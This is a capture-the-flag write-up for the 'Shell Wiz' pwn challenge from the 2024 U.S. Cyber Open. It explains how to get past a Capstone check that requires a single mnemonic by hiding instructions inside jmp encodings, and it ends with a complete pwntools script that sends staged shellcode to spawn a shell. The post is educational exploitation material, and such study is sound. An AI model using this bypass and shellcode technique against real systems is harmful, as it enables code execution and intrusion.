Post

Pwn - Shell Wiz - USCG 2024

A shellcode challenge with a twist developed by LMS for Season IV of the U.S. Cyber Open.

Description

Conjure up the perfect shellcode to reveal the flag. It’s wizardry, pure and simple.

Solution

Summary:

  1. The challenge is using capstone to make sure that all the assembly instructions are uning the same mnemonic.
  2. Using indirect jumps, I can write functional shellcode while capstone thinks they are all jmp instructions.
  3. I used indirect jumps to syscall read to get out of the capstone restriction.
  4. Once I had unrestricted code execution, I was able to recover RSP and make a simple execve syscall.

Code Overview

1
2
3
4
5
Canary                        : ✘
NX                            : ✓
PIE                           : ✓
Fortify                       : ✘
RelRO                         : Partial
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
undefined8 main(void)

{
  int iVar1;
  ssize_t sVar2;
  size_t sVar3;
  long local_138;
  undefined8 local_130;
  char local_128 [256];
  ulong local_28;
  int local_1c;
  ulong local_18;
  char *local_10;

  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  printf("Enter shellcode: ");
  sVar2 = read(0,local_128,0x100);
  local_1c = (int)sVar2;
  sVar3 = strcspn(local_128,"\n");
  local_128[sVar3] = '\0';
  iVar1 = cs_open(3,8,&local_130);
  if (iVar1 != 0) {
    fwrite("Error: Unable to initialize Capstone disassembler\n",1,0x32,stderr);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  local_28 = cs_disasm(local_130,local_128,(long)local_1c,0x1000,0,&local_138);
  local_10 = (char *)0x0;
  if (local_28 != 0) {
    puts("Disassembly:");
    local_18 = 0;
    do {
      if (local_28 <= local_18) {
        cs_free(local_138,local_28);
        cs_close(&local_130);
        execute_shellcode(local_128,local_1c);
        return 0;
      }
      if (local_18 == 0) {
        local_10 = (char *)(local_138 + 0x22);
      }
      else {
        iVar1 = strcmp((char *)(local_18 * 0xf0 + local_138 + 0x22),local_10);
        if (iVar1 != 0) {
          printf("Error: Mnemonic \'%s\' is not the same as the starting mnemonic of %s.\n",
                 local_18 * 0xf0 + local_138 + 0x22,local_10);
          cs_free(local_138,local_28);
          cs_close(&local_130);
                    /* WARNING: Subroutine does not return */
          exit(1);
        }
        printf("%s\t%s\n",local_18 * 0xf0 + local_138 + 0x22,local_18 * 0xf0 + local_138 + 0x42);
      }
      local_18 = local_18 + 1;
    } while( true );
  }
  puts("Error: Unable to disassemble shellcode");
  cs_close(&local_130);
                    /* WARNING: Subroutine does not return */
  exit(1);
}

void execute_shellcode(void *param_1,int param_2)

{
  undefined8 uVar1;
  // Cut for brevity
  undefined8 *local_20;

  local_20 = (undefined8 *)mmap((void *)0x0,0x1000,7,0x22,-1,0);
  uVar1 = DAT_001040a8;
  if (local_20 == (undefined8 *)0xffffffffffffffff) {
    perror("mmap");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  *local_20 = start;
  local_20[1] = uVar1;
  uVar1 = DAT_001040b8;
  local_20[2] = DAT_001040b0;
  local_20[3] = uVar1;
  uVar1 = CONCAT35(DAT_001040c8._5_3_,(undefined5)DAT_001040c8);
  local_20[4] = DAT_001040c0;
  local_20[5] = uVar1;
  *(ulong *)((long)local_20 + 0x2d) = CONCAT53(uRam00000000001040d0,DAT_001040c8._5_3_);
  memcpy((void *)((long)local_20 + 0x34),param_1,(long)param_2);
  local_58 = 0x20;
  // Cut for brevity
  local_2c = 0x7fff0000;
  local_68[0] = 6;
  local_60 = &local_58;
  iVar2 = prctl(0x26,1,0,0,0);
  if (iVar2 == -1) {
    perror("prctl");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  iVar2 = prctl(0x16,2,local_68);
  if (iVar2 == -1) {
    perror("prctl");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  puts("Executing shellcode...");
  (*(code *)local_20)();
  return;
}

The behavior of this code can be sumarized as follows:

  1. User inputted shellcode is disassembled by Capstone.
  2. The mnemonic of each instruction is checked to make sure all the instructions are the same.
  3. If all of the shellcode instructions use the same mnemonic then execute_shellcode is called.
  4. execute_shellcode places a series of instructions on the stack before the shellcode that zeros all the registers.
  5. A call is made to the beginning of the zeroing instructions to clear the registers before the shellcode executes.

Bypassing Capstone W/ Indirect Jumps

An interesting thing about this challenge is that it is close to identical to a TAMUctf 2024 challenge1 written by our former lead developer last year. I had to review that challenge then which is how I came up with my solve for this challenge.

Indirect jumps are an interesting concept because it causes what looks like a series of jump instructions to actually execute arbitrary instructions up to four bytes in size. This is more than enough to set up for a read syscall.

The biggest issue that gave me pause with this challenge was recovering RSP. The only register storing the stack address is RSP which, to my knowledge, can only be read by taking advantage of RIP relative addressing with an LEA instruction. Unfortunately, the instruction LEA rsp, [rip] is seven bytes in length which is too long for an indirect jump.

While messing around with different options I noticed that calling syscall causes the values of RCX and R11 to change to the values of RIP and EFLAGS before the call. At the time I didn’t know exactly why that was happening, but it turns out that syscall saves the values of RIP and EFLAGS to RCX and R11 before starting to execute code in kernel space2. In hindsight, I probably should have known this because I just took an operating systems class, but its Summer. No thoughts, head empty.

Using the fact that syscall places the value of RIP in RCX, I was able to recover the stack address that I needed to make the read syscall work.

Once read is called in stage one, the shellcode that gets executed next will not be subject to the mnemonic restriction allowing me to execute arbitrary shellcode, leaving me with my final exploit.

Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
import time

context.binary = './shellwiz'
p = process('./shellwiz')

def indirect_jump(ins):
    try:
        c = asm(ins)
        assert len(c) <= 4
    except AssertionError:
        log.error(f'Instruction \'{ins}\' is larger than 4 bytes\nStopping exploit...')
        p.close()
        exit()

    return b'\xe9' + p32(5-len(c)) + b'\xe9' + c.rjust(4, b'\x00')

code = """\
syscall;        # Call syscall to get RIP into RCX
mov rsi, rcx;   # Move RCX to RSI for read syscall
add rsi, 40;    # Make write location align with the end of stage 1
add rdx, 100;   # Set up to read up to 100 bytes
syscall;        # Call read(0, RIP+0x28, 64)
\
"""

payload = b''
for ins in code.split('\n'):
    payload += indirect_jump(ins)

p.sendlineafter(b': ', payload)
time.sleep(0.1)

code = asm("""
mov rsp, rcx;   # Recover RSP from RCX
add rsp, 64;
mov rdi, 0x68732f6e69622f;
push rdi;
mov rdi, rsp;
xor rsi, rsi;
xor rdx, rdx;
mov rax, 0x3b;
syscall;        # execve syscall
""")

p.sendlineafter(b'...\n', code)
p.interactive()

References

This post is licensed under CC BY 4.0 by the author.